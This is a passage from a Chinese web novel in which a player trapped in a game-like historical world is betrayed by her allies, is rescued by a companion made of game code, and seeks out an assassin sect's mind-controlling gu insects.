有本事他抓到我,再报复回来啊?” 陈珣勾起一缕你的头发,冷哼一声:“早晚我要亲自把他踩在脚底, 看他无法翻身, 咽下最后一口气, 不然难解我心中的仇恨。” 讲话真反派。 你保持沉默,但之后和柳玄商量了这件事, 让他挑些好用的接班人,以防他们这一代因为各种原因不在以后,乐王府的势力运转不下去。 一个陈珣尚且如此, 更不必说其他人。变数太多, 做两手准备更稳妥。 阿荆听说这件事,给你推荐了很多她的朋友。有男有女, 考察过他们的实力,检查了【人物档案】中的数值之后, 你觉得他们确实是可用之才,留下收用,办些简单的事,逐渐积累经验。 入冬, 你收获了自己的第二座城, 连枝。 连枝城是联盟之外, 朝廷的辖区。因地处偏僻,人烟稀少, 即便攻下来, 长安与本地人也都当作无事发生。 你带头,王府的人都在连枝过年,举家搬迁。空寂的城中登时热闹许多, 家家户户相互送吃食,其乐融融。 同年,釉城爆发瘟疫,病情越传越广。联盟中有许多家族遭了祸患,元气大伤。 年后第二日,属下通报,凤晋将军在城外求见。 他的女儿受了瘟疫,手下的百姓也有很多染病不起。州牧下令他放火焚城,他不忍心。想到寸术的医名,跨越雪域与高山来到连枝。 何余不赞成放他进来。 “要是城内百姓与兵甲也被传染了疫病,遭殃的就轮到我们了。” 陈珣附和:“你根本不知他是不是别有居心。万一外面的人看不得这里好,故意送染病的人来呢?何必把好心分给他们?咱们城中已经有很多人等你垂怜。” 柳玄道:“城门不开,明日便会传乐王见死不救,铁石心肠。” 邱生道:“但柳大人,好名声总得有命听,要是主上因开城门遇到不测……” “不可能发生那种事。” 陈珣冷笑:“你说不发生就不发生了?” 阿荆坐在你身边,在书案上拿笔练字。听到他们又吵起来,忍笑瞧了你一眼。 你道:“我们的意见不重要,凤将军不是找我,不是找陈珣,也不是找柳玄。他要见的是寸术,你们谁去把寸术请来,问问他怎么想。” 柳玄道:“我已派人去请。” 就在他答话的下一刻,寸术进到屋里行礼。他站在炭盆前烤手,听柳玄复述他们刚刚争吵的内容。 “我要救人。” 陈珣瞧不上他,听到他的话,头朝一边偏去,嘴上带着讥讽的笑。 “不怕死,就自己出城救呗。” “可以。不过给我准备药材,烈酒,麻布,棉衣,木板,盐,姜。” 你答应下来。离开前,他多看你一眼,背过身往外走。 门开的瞬间,雪被风吹来,成一道松软的门槛。寸术迈出去,青色衣摆沾上洁白的雪花。 你收回视线,问:“谁愿意和寸术医师一同出城?” 几人都没有应答。 柳玄将要站起身,阿荆放下笔,转了转手腕。 “我去。” 她道:“跟凤将军说,一切不是阿棘的本意。是手下人反对,为城中百姓的安危着想,才没开城门,将他们迎入城中,对吧?” 你点头。 她从侍女的手中接了披风围在身上:“那我去了,等下寸医师走远,又要再麻烦一辆马车。” “万事小心。” “放心。” 一月后,寸术的药流传到灾区,赶在瘟疫的尾巴救了一些人。凤晋彻底倒戈于你,你得到了自己满意的数值高的大将。 有他坐镇,另一些落魄公侯也纷纷投奔。 春末,你随联盟往长安的方向进军。 一直没等来陈澹生的报复,你把这人抛到脑后。 进展过于顺利。每与龟将军的人打赢一场仗,你的城池版图边能多画一部分。势力越来越大,你每天要做的只有思考钱和兵力的分配,剩余的事都有手下的人替你做。 何余、邱生、柳玄等被你留在了身后的城池主事,你们之间的沟通变成书信往来。 手下用的人越来越新,每次用得熟了,就有新的城池出现,需要你留下一部分看守主事。 陪在你身边的,又变成了阿荆与陈珣。 最后一战是长安。声势变大,参与联盟的世家随之增多,出现了很多新的心思。 天下如今唯有你和龟将军势大。这场战争到此为止,胜利与否对他们没有差别。留有龟将军在长安,反而能够制衡你。 盟会撤兵。 你亲自出面质问,他们只是微笑。 “一张破纸而已。” “乐王殿下当真了,到底是女人,容易轻信别人。” “哎,乐王殿下可不是人,人家是龙,白龙呢!哈哈哈哈!” “殿下请回吧,没有派兵阻拦,已经是我们讲道义情面。” “就是啊,我们反龟将军,可不是拥护你的意思。说到底,你与龟将军是一路货色,都想抢许氏的天下,不是吗?” “……” 是这样。 且他们没说错。联盟要是在这种时候派兵攻打你,你的确吃不消,再去与龟将军决战,就要打败仗。 但他们就算这时不出手,也要在战后你兵力薄弱时动手。 毕竟只说旁观,没说要打道回府。 决战选将,按照军事数值排序,你打算选一名叫清笙的小将。 但因为他过于年轻,商量的时候被其他人否决了。部下推荐几个你不是很满意的人,你没有松口,场面就僵持着。 最后阿荆站了出来。 “阿棘,我来当将军吧。病好之后,我每天都在练武,你放心,我会帮你把事办成。” 她上阵,参与讨论的部下们没再有异议,露出笑脸与她打闹。 她是这关背景剧情中的女主角,不论是人缘、运气都是首屈一指。学东西的天赋也样样俱到,武力和谋略以及军事数值都是你满意的。 你答应下来。 清笙的脸上露出失望的表情。 散会之后,便要为明日的决战做准备。同龄人经过他,都暧昧地用胳膊搂他一下,朝你的方向嬉笑。 这就是声望低的坏处。不是你不厉害,不是你的地位不高,是名声臭,就会有这种背地里不尊重你的现象。 从在军中遇到清笙起,你就没有掩饰对他的关注,他的军事数值很好看,你认为他是个好苗子。但其他人就误会了你的意思,就连柳玄都在书信中提过让你不要对孩子下手,清笙才十五岁。 他的天赋虽然未脱颖而出,但在数值页面是称霸的。你认为在关键时候用他能有奇效。 但可惜,他们没有给他这个机会。 回去的路上,你反思自己为何会面临这种局面。 你新用的这些人并不畏惧你、服气你。 和你相比,他们更愿意听朋友阿荆的话。 柳玄的亲笔书信,也可以号令起你难以叫动的人。 询问柳玄,对方回答,是因为你过于亲和。 亲和不是指你对每个人笑,你每天很少笑,但是你会和地位低微的人对视,认为正常。你还很常说谢谢。 有人做错了事领罚,只要找你求情,你就会说下次不做就可以不罚。 “你这样很好,但人不会畏服。” “他们只会看轻你,认为你不过如此,认为你的位子谁都能坐上去,包括他们。” …… 你在城外的营帐中等阿荆的消息。一直到傍晚落日,都没听到她的动向。 侍女劝慰道:“主上不必担忧,阿荆姑娘一定能顺利把好消息带回来的。” 你翻了翻她的档案,的确没发生什么意外事件。 但夜深时,校尉到你帐外求见。 “阿荆姑娘遇险,被龟将军的人包抄,请主上派军支援!” “……” 你从睡梦中醒来,缓了缓,道:“她怎么样?” 档案中显示阿荆被龟将军的人锁进笼子里,放在火架上炙烤,逼问她你的下落。 校尉道:“不知,司马走时已是绝路!主上,请速速派兵!” 派兵要有将,你问:“你愿意做这个将军,去将阿荆救出来吗?” “这……臣不敢担责!” “去问赵、侯二人。” “主上,我们也在这里。阿荆那边……还是另请他人吧,我们……不太行……” “废物。” 想不到其他人。 你把头发束起,穿上外衣,套铠甲将袖子绑捆。 “我亲自去。” “是!属下等一定跟着主上将阿荆救出来!非万死而不辞!” 你跨坐上马背,感受到夜间独有的湿凉。 打开导航,你往阿荆的方向策马而去。 越走越近,只见远处火光连天。 你刚想让他们都留在原地,自己去查看情况。 但想到自己的威严,还是派了手下去前方查探。 那人没有回来。你又派了三人,拿好武器去看。 依然没有音讯。 最后,你不再试探,直接带兵冲过去开战。 近处,你看到列队整齐的士兵,显然敌方有埋伏。 本该无感,就算对面的人再多,你也可以用道具放大身体,用外挂搞定。 但你愣住了。 对面的将领是阿荆,她身后与你对峙的是你手下的军队。 你刚想质问,剑刃就横在了你的脖颈上。 “主上,不,乐王,投降吧。” “你大势已去,天下本该是阿荆的。” “…………” 你微微推开剑,回头。拿剑的人是将你从营帐里叫出的校尉。 什么情况? 你将视线在军伍中扫视一圈。 这些全部,都不是你的人吗? “放了阿棘。” “阿荆……不,主上,放了她,她去联盟求援,会给我们带来麻烦。” “阿棘是龙,是祥瑞,是上天派下来筛选君主的。” 阿荆拎起马的缰绳,拽了拽,走近你,手把校尉的剑按下。 “我要留阿棘在身边,护佑我登基,真龙伴天子,劳烦阿棘之后在我入主长安时现原形呢。” 她笑了:“怎么那么看我?只许你做皇帝,我不行吗?” “阿棘,你不是故事里唯一特别的。那个人死在我的手里,我才该接管一切。” 读档的手停住,在身侧垂落。 你有些生气,有些想笑。 是这样的。 你一直认同这个道理。你做的事,别人也能做。 你用诡计对别人,别人就可以同样用诡计对你,权看谁技高一筹,输也心服口服。 “是什么时候的事?” “梦醒以后,被你带在身边开眼界,我就筹划着背叛你了。” “我要让你没有还手之力,让你进退两难,让你不得不屈服于我,让你哑口无言,无从辩解。” “就像你当初背叛我一样。” “你想杀我,我又没想杀你,所以我还是不如你狠心。” 你问:“他们为什么听你的,除了他们,还有谁是你的人?” 阿荆道:“因为我认识他们每个人。阿棘,你还没反应过来吗?你现在连每日照顾你起居的丫鬟都不知道名字,你从没对他们上心过,游离得像是外人。” “而且,‘我的人’?阿棘,你好生疏,你的人不就是我的人吗?” “当然,没有床上关系。我很清廉守正,不纵欲的。你的陈珣,柳玄,我对他们的身体没兴趣。或许是因为这个,他们给我做事也做得很用心呢。” “你想见见他们吗?” 你冷道:“不必。” 你把这一关的存档全部删除。 读档回去跟背叛你的人共事吗? 就当从没遇见他们,从没见过他们。 “陈将军,跟你的阿棘聊聊如何?你不是很喜欢她吗?怎么是第一个屈服于我的?” “……良禽择木而栖,我当然要选给我带来利益最大的人。” “知道,你这种人最会当白眼狼了。” 她转身朝后面问:“那柳大人,为什么选了我?” 他没有说话,但你听到咳嗽声,他在场。 阿荆替他回答:“这种人也是,另投明主一次,就会有第二次,第三次。阿棘你敢用,我也敢用,看看之后什么时候,我会被他背叛。” 她摸你的脸:“你太容易相信人了。怎么没有之前那么坏了?之前的你这时应该找刀来杀我了。” 你拂开她的手,用道具把自己变成铁人,打算冲出包围, 但人实在太多,太多了。 他们之中也有迷茫的,跟随别人做决定的。 你被上万的人绊住。 化成雀鸟飞走,又有火箭从你身边穿过,有的甚至烧着了你的羽毛。 变成巨人,成了巨型箭靶,你被这些人射成刺猬,虽然不疼,但在攻击时对上他们恐惧的眼神,又觉得没必要做下去。 你变回自己的样子。 阿荆对你笑:“真精彩,阿棘还是变成龙吧,变成龙的话,我去哪都会带你。” 你看着她:“我讨厌你。” 看向她身后的陈珣,以及其他眼熟的人。 “和你们。” 阿荆笑容不再。 “你说什么,阿棘?” “我说我讨厌你,讨厌你们。” 选错同事了。 “我再也不想见到你……” “哈哈哈哈哈哈!!” 阿荆仰头大笑,她笑得痛苦,泪从眼角掉落。 “只是这种程度而已,你就讨厌我……” “你要杀我,我都没有讨厌你……” “你讨厌我……你小时候说,你最喜欢和我做朋友,你说你只有我这一个朋友,你会永远对我好!” “不是讨厌我吗?好,那你不用活着了!” 她朝身后招手,那些人便拉弓。 你打开虚拟面板,关闭痛觉,等待结局生成重开。 或者随便给这个糟糕的故事一个结局,你没心情再打下去。 但这时,漫天的羽箭化成一串串代码被抹消。 像流星一样绚丽。 你的面前,凭空出现一个人。 第133章 拂晓的天际为万物染上一层灰调的颜色, 照出形状各异的轮廓。 你望着那人的背影。 衣着装束与此时不同,这一关里没有那样宽大飘逸的衣袖。 他穿着月白的深衣,长发半披, 头顶扎着发冠, 发丝柔柔被劲风吹起。 在场之人无不为他的美貌怔目。 他为你挡下漫天箭雨, 无数箭支在高处化为字母、数字与符号,进而消失不见。 阿荆没想过会有这种变数, 她分明准备好了一切,堵死了你所有的路! 难道真是天上的仙女,受了难, 其他仙人便露面相助…… 怎么可能!! “放箭!继续!放箭——!!” 空中出现扭曲的漩涡, 从最开始几寸大,扩大成吞噬万物的黑洞。 那些被他容貌蛊惑想要靠近的人都在洞中消失, 和箭的下场一样,身体发肤碎成代码。 你胸口沉重地跳动, 几乎要忘记呼吸,一眨不眨地盯着他背影。 他本不想回头。 可似乎到极限了,再不回头见你,他就没有这样的机会和你面对面。 他还是转过身, 想冷脸, 但触及你的眼神, 没忍心对你发脾气。 “玩家■■■■■■——” “不该这样结束,你玩游戏是想要变得开心。” …… “子瑜……” 听到你叫他的名字, 谢珩笑了一下, 笑意浅淡,更多的是悲伤。 他说:“我走之前,你叫我阿珩, 我听见了。” “我工作做得很好,这是上司的奖励。” “只有一次。” “不知道用得对不对……你会厌烦我插手你的事吗?” 你目不转睛地看他,看他的眼睛、瞳孔以及映着的你自己。 很久没见他,以为再也见不到他。就算见到也不是同一个人,他曾彻彻底底消失在你的存档里。 可如今,他原原本本站在你面前,说一些他不该知情的话。 他知道是游戏。 怎么知道的? 他的工作是什么?他为什么会用工作这个词? 什么奖励能让他拥有身体和力量? 上司是谁? 为什么他杀掉的人变成了数据? 你有好多问题想问他,可是什么都来不及说,他的身体也化成代码,从指尖向上分解,柔风吹过他眼中,人将要消失不见。 因你的沉默,他也沉默,直到彻底消失。 “……” “…………” “………………” 你攥紧拳。 理解了当前的状况。 专为开战挑选的荒地,之前站着密密麻麻的将士们,因为他的插手,只剩这个世界的主角与有戏份的配角。 你不会死,他知道。 他也清楚,你可以毫发无损地离开。 但他还是想要出来帮你,浪费他宝贵的化形机会,只想让你记起,玩游戏是为了开心的。 “顾及钰!他是谁?” 陈珣红着眼眶朝你喊。 他喊得声音很大,你听见了却没理他,一眼都没有看他。 你在想其他的事,想那个突然出现的男人! 你看着那个人,和看着他们是不同的! “他是谁?” “他是谁?!” “你为什么那么看着他?!” 他不管不顾地朝你走来,每走一步,都觉得自己像笑话。 喜欢你,想要独占你。但你一天是乐王,这个想法就一天不可能实现。 他想要权,想要能打败你的权,让你满盘皆输,没有抵抗之力,屈服于他,求着他爱你。 可是你……怎么就能脱困? 为什么? 你到底是什么人? 你心里究竟有过一刻的他吗? “顾及钰!!” 他终是抓住你手腕,已经流了满脸的泪。到了你身前,他再喊不出来,声音像小猫一样。 “别走……” “你别走……” 你拆了头上的发髻,黑发散落,簪子握在手里看了看。 脑海里回想起各式各样的簪子。蜻蜓、金雀…… 手中的簪子样式素净,是你随便拿来盘头发的。 “你留下来,阿荆会善待你……” “她不会伤…!!!” 快到他看不清的动作,簪子尖锐处猛地刺入,刺破他的玄衣,皮肉,不知这个深度,到没到脏器。 偏他今日穿了黑色,看不到血。 你面无表情望他,将簪子拔出去,又用力刺入。 第三次刺入,第四次,停止。 陈珣握你的手,他嘴角溢出血,眼里残留着褪去的夜色。 “顾及钰,你就那么恨我?” “你跟了她那边,确定还要叫我顾及钰吗?” “我没有跟她!” “无所谓,谁在意,我也不恨你,只是烦你,讨厌你,现在想杀了你。” “……” 后备的士兵接到主将命令,源源不断地补给过来。人头在初生的太阳下、远处的山丘中,像列队前行的蚂蚁。 阿荆游刃有余地开口:“住手吧,阿棘,我还要他用兵。” “而且你怎么只伤他?柳玄也在这啊。” 她仿佛打抱不平,愤慨地把柳玄的名字也抬出来。 “偏心可不好。” 陈珣失去了力气,跌坐到地上,手用力捂着伤处。 你看向柳玄,对方脸色苍白,却没有多余的表情,只道:“阿棘,你不适合当皇帝,她说会留你一命。” “……” 在你长久的注视下,他垂下眼睛,将头转向一旁,睫毛颤动着。 却听到你的声音、你的回应。 “我是不适合当皇帝。” “我更喜欢自己做事。” “一件事一个人明明就做得完,如果有第二个人插手,我就觉得我可以休息,可以退下来了。” “别人怎么想,是否尊敬我,是否讨厌我,跟我没有关系,我一点都不在乎。但混在你们中间,这样似乎不可行。” “所以,前人的经验不适用我。” “遇见了你们,我更讨厌合作,讨厌共事。从头到尾一个人是很辛苦,可至少我不会遇见恶心的人。” “我就是不适合做皇帝。” “可是在这,我偏要做皇帝。” “要一意孤行、死不悔改、固执到底地,做我的皇帝。” 支援的军队已经到了阿荆身后,她有恃无恐,不把你的话放在眼里。 该说的话说完,轮到诛心。 “阿荆,以为事已成定局了吗?” “你所窥见的未来才到了哪?” “你杀死了镇北王,数不清的变数在前路等着你。” “你运气好,你有天资,我相信你会做成你想做的事。” “而等你做成,就是我取而代之的时候。” “因为我是你的女配,是专门坏你好事的那个人。” “与你作对,成事的概率是100%。” “柳玄,我只杀陈珣,不杀你,是因为他是我自己看中,留在我身边的男宠。他辜负了我,我亲手了结他,理所当然。” “而你对我什么都不是,养不熟的狗,是生是死我都不在乎。” “陈珣……” 你蹲身,扳过他的肩膀,当着所有人的面亲了亲他。 嘴唇碰到他的瞬间,他的眼泪簌簌落下,压着伤口的手搂住你。 “蠢货。” “我之前挺喜欢你的。” 他搂着你腰的手忽然收紧。 “每一次,我都对第一个喜欢我的人特别宽容。” “可惜你太坏了,又坏又蠢。你坏也可以,但不该算计到我身上。” “以后再见面,就是兵刃相向的时候。” “因为你可恶,我打算善待陈澹生了。” 你看到他脸上多了其他表情。 阿荆打断道:“阿棘,以为我会放你走吗?” 你甩开陈珣的手,站起身:“你拦不住我。” “上!拿下她!” “是!!” 道具在战场上并非无敌。 大小皆可缠堵,施之以火杀。 你能用道具化作水消火,但蒸发出去的蒸汽怎么算? 且水也能用土埋。 万物相克。 不过,这是你想的应对之法。别人并不知道你究竟能变化成多少种形态。 不正面对敌,光是逃走,道具够用。 只要闯出了他们的视野,变成他们不认识的人或动物,就能溜之大吉。 可是你要往哪去? 启用【灵犀角】道具。 树叶、小草都呼唤着你。 “玩家小姐,玩家小姐!” “您终于能看见我们啦。” 一只蜘蛛才从窝里爬到网上,见到在草丛里坐着的你,吓得尖叫起来。 “有人啊!好可怕好可怕好可怕!” 它张牙舞爪地爬回了窝。 你:“……” “玩家小姐,你踩到我的手啦。” “抱歉。” 你挪了挪。 “我被玩家小姐踩扁啦哈哈哈。” 你又挪了挪。 “玩家小姐还是过来踩我吧,我可乖啦!” 暂不论你踩在哪根草上的问题。 你想问它们哪里适合你蛰伏,话未出口,却想到突然出现的谢珩。 “他是怎么回事?” 小草们默契地噤声了。有些事,涉及到管理层,它们不能说给玩家听。 “他是我的系统吗?” “……” “我还能再见到他吗?” “……” “我干脆忘掉他吧。” “啊!不要!他好可怜的!” “唔!” “我要说!” 树叶压下身子:“他特别特别可怜,同样是代码,只有他没办法刷新,现在是孤独的指引者。” “他陪了玩家小姐两关,才有那么一点点奖励,但为了让玩家小姐不讨厌我们游戏,他又都用光了。” “我们都好可怜他的。” 小飞虫落到叶片上:“休息的时候他可关照我们,会帮我们按刷新键呢,按了我们就恢复活力啦。” “因为他在,属于玩家小姐的我们,比其他同胞过得幸福很多。” “求求您了,玩家小姐,不要忘掉他呀。” 你用指尖碰了碰小草的尖叶:“那他在哪?我还能再见到他吗?” “第三关奖励积分很多,如果玩家小姐通关了,他攒够积分,想见您的话,就能见到了。” “他还会不想见我?” “才不是呢!他很想见您,一直、一直都很想见您。” “他已经在您身边了。” “可是玩家小姐从来没有思念过他。” “才没有呢!玩家小姐现在不就在想他吗?” “你这样说我们玩家小姐很没面子!” “想念就是想念,我最喜欢看玩家小姐喜欢别人啦。” 你道:“我是有点想他,这一关的人都太坏了。” 小草摇头晃脑道:“也有好人的。” “玩家小姐之后要去哪呢?” “没有思路,所以想问你们。” “那就回连枝吧。” “是啊,凤晋还在为您守城呢。” “我们都相信,玩家小姐您一定会成功的。” 第134章 “公子, 要下雨了,我推您进去吧。” “好。” 才进屋,天际便传来轰隆一声。空气中的泥腥味越来越重, 身后吹来裹挟着湿气的风。 陈澹生道:“去把窗都关上, 看天象, 往后几日都是雨天,被褥潮了我受不住。” “我这就去。” 陈澹生拨动轮子, 往房间里面走。小厮动作迅速地把窗子都关上,恰好雨势轰然下落。 闪电在空中劈闪,室内光亮一瞬。 你对上他的眼睛。 他手里握着的竹简落地, “啪嗒”一声轻响, 散了几根。 “阿棘……” 陈澹生轻声叫你的名字。 “是梦吗?” “不是。” 你从椅子上起身,“你愿不愿意跟我走?” “我现在……已经站不起来了。” 你走近他, 捏了捏他的腿:“是没有知觉,还是断了?” 陈澹生挡住你的手:“别碰我, 身全尚不能入你的眼,如今残废,于你而言,应是污秽般的人。” “陈珣来找过你吗?” “没露过面, 但日子难过起来, 就会知道是谁来了。” “你听说过我的事吗?” “只听说陈珣追随的乐王龙女殿下回归天庭, 带走两万天兵,献了王位给荆大人。” “那个人, 应该不是阿棘你吧?” “是我。” 他作出一副惊讶的表情。 你不再配合他演戏, 只说:“陈珣得罪了我,我重伤他,在他痊愈, 或者反应过来之前,我要带你去安全的地方,跟在我身边。” “为何呢?” “让你过得好,宠幸你给所有人看。” “可我只是残废。” “你听说过寸术医师吗?” “……” 他低头片刻,浅笑着握住你的手:“阿棘,我就知道,你会回来找我的。你也很想念我,是吗?” 你抽手:“你恨我,说这些话不恶心?” 陈澹生对你笑。 “过去即便是虚情假意,你也乐于观赏。” “我是恨你,若不是你,陈珣已经死了,但我恨的是你选他,仅此而已。” 你道:“我选错了,你应该高兴,现在我要让你过好日子。” “什么好日子,得到你的宠爱吗?” “我已失去双腿,无法行走,不会有荣光,只有同情的眼神,和一桩桩的笑料。” “都说了会把你的腿治好。” 院门处传来撞破的声音。隔着雨声,小厮声音刻意放高。 “公子!快走!!!” 你没有回连枝,先找陈澹生,就是为了这个。 陈珣听了你的话,必然要对陈澹生动手。 “有后路吗?” 陈澹生冷沉着脸色:“是你做的?” “想什么?” 他随手弹掷一枚铜钱,击打在瓷瓶上发出嗡地一声。紧接着,书架旁的暗门开了缝,是一条平缓的下坡。 “推我下去,从这里可以出府。” 陈澹生显然早有防备,知道陈珣会在某天对他下死手。不论是家宅中的防御,还是退路都准备妥当。 下到暗道中,你回手把门关上。遵循陈澹生的指示拐过几个弯,从陈府后门的那棵枣树下出去。 “他们在这里!!” 你过去与其中一人缠斗,拿了刀将几人毙命,趁左右无人,推着陈澹生冲进陈府对面的府邸。 “喂!怎么闯进来了,你们是什么人?” “陈公子?” 你抓住其中一个丫鬟的手臂,被雨淋湿的手在她的衣袖上留下手印。 “叫护卫来,有人在杀我们!” “这……” “是什么人?” “是雇凶仇杀。” “明白,小桃,快叫护卫。” “是。” 你继续带着陈澹生往府中去。他手指被雨冻红,紧扣着轮椅边缘。 “你带着我去往人家家里,是不是……” “这户人家不知府君是谁,我只和他们家下人碰过面。” “就因为你碰的那几面,她们是唯一愿意救你的人。” 从枣树下出来,你经过了两次存档才发现只有经过这座府邸,里面的丫鬟发觉异样,会叫人出来帮你们。 所以你再次读档,直接进到人家家里来。 她们家的护卫不是普通人,武力高而不统一,像是单独培养的刺客。 冲进茶室中,因为推与被推的关系,陈澹生是率先露面的人。 他心中尴尬忐忑,面上不显,礼貌地对他们笑。 “我遇难了,今日失礼算叨扰各位……” 茶室中,两名上了年纪的男女在对棋,没有侧目。像是早就知道你们会进来。 这里是府邸里的权力中心,是被重重保护下最安全的地方。 “失礼的不是你,是推着你的那位小姐吧。” 你道:“想活命,只能失礼,跟二位告罪。” 女子道:“还是聪明,找得到能庇护你的地方。” 她含笑望你:“我们只有今天在这里歇脚,明天就要走了。” 男子道:“进来吧,外面雨下那么大,身上应该湿透了。彩心啊,去带他们换身干爽的衣服。” “是,师父。” 你推着陈澹生跟在名叫彩心的年轻女子身后,进了无人的房间。 “稍等,我马上给你们找衣服来。” “多谢。” 陈澹生一直没说话。面无表情,但因相貌长得清纯无辜,揣测他的人只会觉得他是因为自己拖累了别人而难过。 你倒是清楚他的内心。 他在气他的腿,气他无法做主自己的事,气他被你掌控在手里,连逃走的力气都没有。 彩心带了两套干爽的衣服,和一名小厮过来。 你换好衣服,拿布巾擦头发,然后把布巾转手给陈澹生。 他闷着脸擦拭,神情楚楚可怜,彩心正好看见,又吩咐小厮帮他做。 你推着陈澹生去茶室对两个老人表达谢意。 这次等了通传才进去,陈澹生暗示你等下他来说。 推着他进了屋子,你听到棋子哗啦啦撒了满地的声音。抬眼望去,几分眼熟的腰线撞入视野。 是荀氏那对兄弟。 他们眼中含着愤恨,已经做不到平静。 陈澹生疑惑看你,无声问你和他们是否认识。 荀左率先拔剑朝你攻来,你顺手拿了一本书作遮挡,剑割过纸页,迅速后退,试图拎翻书柜阻碍,但想到客人的身份,又是私人恩怨,最好不要乱动别人的摆设,手伸到一半生生忍住。 剑停了下来。 年长男人道:“可以了,小左,你怎么比你弟弟还冲动。” “这是陈公子,那位是……” 陈澹生道:“是我朋友。” 男人点头,问:“听见了吗?你们是怎么打起来的?之前认识?要不要借一步说话?” 第135章 你选择借一步说话。 荀左冷凝着脸色, 眼睛执拗盯着房间一角,片刻才点头,收剑往外走。 “哎!带伞啊!” 彩心叫他, 拿着伞跟到房檐下, 他也没回头。 你接过她的伞, 点头道谢。 走出几步,回头吩咐陈澹生:“别乱跑, 你可能会死。” 陈澹生勉强对你笑了笑。 你走后,年长男子抻了抻坐出褶皱的衣摆,朝与他对弈的年长女子道:“儿女好事?” 女子道:“不见得, 像是情仇。” 他笑:“总归是有情的, 是吗,小右?” 荀右颔首, 神情复杂:“就是偷钱的那人。本该我去说,不过我哥看上去更生气。” 男子道:“更生气的应该是老头子我吧?两千多两黄金, 准备给你们这些刀啊剑啊开月俸的,半年了,一直走我的私账。” 女子道:“不是还在赚?别对小子们太苛刻,去年还有刀说要自宫拜入我门下。” 男子道:“呦, 那可热闹。” “对了, 为何该你去和那姑娘说?说什么?” 荀右冷哼一声, 视线扫过轮椅上坐着的陈澹生。 “我童子身破了,不该找她要说法吗?” 陈澹生眼珠动了动, 瞥向他的鞋靴, 一路向上,看到他清隽带着少年意气的脸。 他转头看窗外的雨。 故意说给他听这些做什么? 他还有威胁吗? 随着一声响雷震彻天际,雨变本加厉地下了起来。 空中雨滴如乱珠般卷入伞中, 你拿衣袖挡了挡。没有跟在荀左身后,而是去到方才冲入的偏门,推开一个缝隙,察看外面的情况。 和荀氏兄弟衣着相似的少年男女们在陈府帮忙处理尸体。雨势倾压,血迹自然而然地渗入地下,只剩一些残肢需要搬运。 即便身处如此吵闹的落雨,感知受到干扰,将尸体扔到板车上后,那人还是皱眉看了眼你的方向。 这时,身后伸出另一只手,将门推合。 门板之外发出“当”的一声响,是暗器,入木九分。 你没有回头,只是将伞撑得高些,将他请入。 “你要跟我借一步说话,却不跟着我,自己跑来这种地方。这么傲慢,以为你还能活着从我手下脱身吗?” “事急从权,我需要那笔钱,之后有了会还给你们。” “是钱的事吗?你觉得是钱的事?” “我还耍了你们。” “你知道!” “我耍的,怎么不知道?” “…………” 他的额发都被雨水浸湿,趴在头骨上。其下的一双眼极厌恶地注视你,却偏偏让人轻易分辨出厌恶之外的东西。 头顶又打起了闪电,接着是雷声。 你望着他,道:“对不起啊。” “有用吗?” “那就两遍。对不起,对不起,我以后不会再对你做坏事了。” “……” 他突然捧起你的脸,似乎想用吻来惩罚。在他贴近之前,你捂住他的嘴,在他错愕、震惊、恼羞成怒的眼神中,你摇头。 “别再这样了。” 他攥住你的手腕移开:“因为那个废物?你要钱是为了给他治腿?你怎么……” “不是。”你示意他换个地方,再这样站下去,伞要撑不住了。 你们来到了一处亭子,将伞放到地上控水,你把自己身上发生的事都告诉了他。 “我这次来接他另有用处,与男女之情无关。” 荀左抱臂而立,听完全程,问:“你之后什么打算?告诉我这些,又是想做什么?” “我记得你用毒很厉害。” “是又如何?” “想问你,能不能做出服下之后让人言听计从的毒。” “……你想用毒让人听话?” “先不说有没有,这种药你要做多少份,又要喂给多少人吃?天下那么多人,你喂得过来吗?” 你看着他:“所以是存在这种药的?” 荀左瞪你一眼,瞥向趋于平缓的雨景。 “毒只能害命,想要控制人心,只能用蛊。” 说完,他恨道:“你都这样了还想当皇帝?为什么,那个位子有什么好?现在的天子每日蹲大牢一般,吃饭都不敢多吃,怕吃得多了被毒死,再救不过来!” 你奇异道:“有蛊虫?是什么虫入蛊?什么原理?” “听我说话了吗?!” 荀左不耐地把他的袖子挽起,伸到你面前。 距手腕两寸左右,皮肤之下窝着一只黑色的虫子。你握住他的手仔细看,戳了戳,虫子在里面就缩动一下。 荀左立即收手,蹙眉:“别动。” “会疼?” “不疼。” “那为什么不能动?如果你不喜欢被我碰,我可以隔着衣袖。” “因为你动这个,我弟能感觉到。” “……”更神奇了。 你没有再去碰那只虫子,而是将他的手臂拿近些,盯着它瞧。 荀左臭着脸,但是身体很僵,明显被你盯得紧张了。 他嗓子发干:“怎么不杀了那个取你代之的女人?” “之后会杀的,先让她干活。” “你是不知道,那人上位起,便向我们这种地方送了礼,说以后她就是我们在庙堂的照应。” “哦。” “哦什么哦,这是人家的手段!你与其将希望投给蛊虫,不如学学她驾驭人心的本事。” “不想学。” “……” 你重复一遍:“我就是不学。” “随你的便。” “不学。” “我听见了。” “再失败一次,我也不后悔。我就是不想做不喜欢的事。” 你道:“我来这里,是为了开心的。” “……” 有散停之势的雨幕前,荀左抬起手,遮住下半张脸,掩饰地蹭了蹭鼻尖。 “我回去问我师父,能不能养出你想要的蛊虫。” “多谢。” “谢什么?以为是白来的好事?有代价的。” 你翻了翻荀左师父的【人物档案】,封南子,杀手组织影门的主人。擅长毒杀,用蛊,曾有过一人杀千军的战绩,雇他做事贵得可怕。 “我没有钱。” 荀左走进雨中:“有些东西比钱值钱。” 府邸为影门在江陵的据点,封南子来此处落定,收到了一些情报,明日便要走人。 荀左向他介绍了你的事,听完以后,他脸上浮现一丝笑。 “人心难控,若真有这种蛊,我为何不自己用?” 你回答他:“志不在此,或者已经在用了。” 封南子大笑。 坐在他身侧的年长女人名叫银玲珑,闻言也对你笑:“敢说。” “敢做,敢为。姑娘这般的人,我快二十年没见过了。” 笑后,封南子低头回味片刻,再抬眼,眼中便多了几分杀机与锐利。 “你能给我什么?” “新立的荆王许给你什么,我照例。” 他神情讥讽,向后靠去:“一纸空谈吗?” “门主认为阿荆许给你的东西是一纸空谈,是因为你清楚她想做什么。精于城府之人做了天下君主,那些好处还做不做数,无从知晓。” “而我一旦用了门主的蛊,就永远与门主站在同一边,以后做事必然给影门方便,因为我们是自己人。” 银玲珑道:“你这孩子很会说话,为何吃了那么大的亏?” 封南子摆摆手:“光会说话有什么用,御下要的不止是利益权衡,还要有恩惠、甜头、惩处、威压,既要让他们熟悉你,又不能让他们了解你,让他们害怕你,又要让他们维护你。” “不过,这女孩会谈生意。人年纪大了,折腾不动,在局势未明前下注还是能做到的。” 银玲珑道:“以小博大?” 封南子起身:“是推江山,换新血。” 他看了你一眼。 “随我来。” 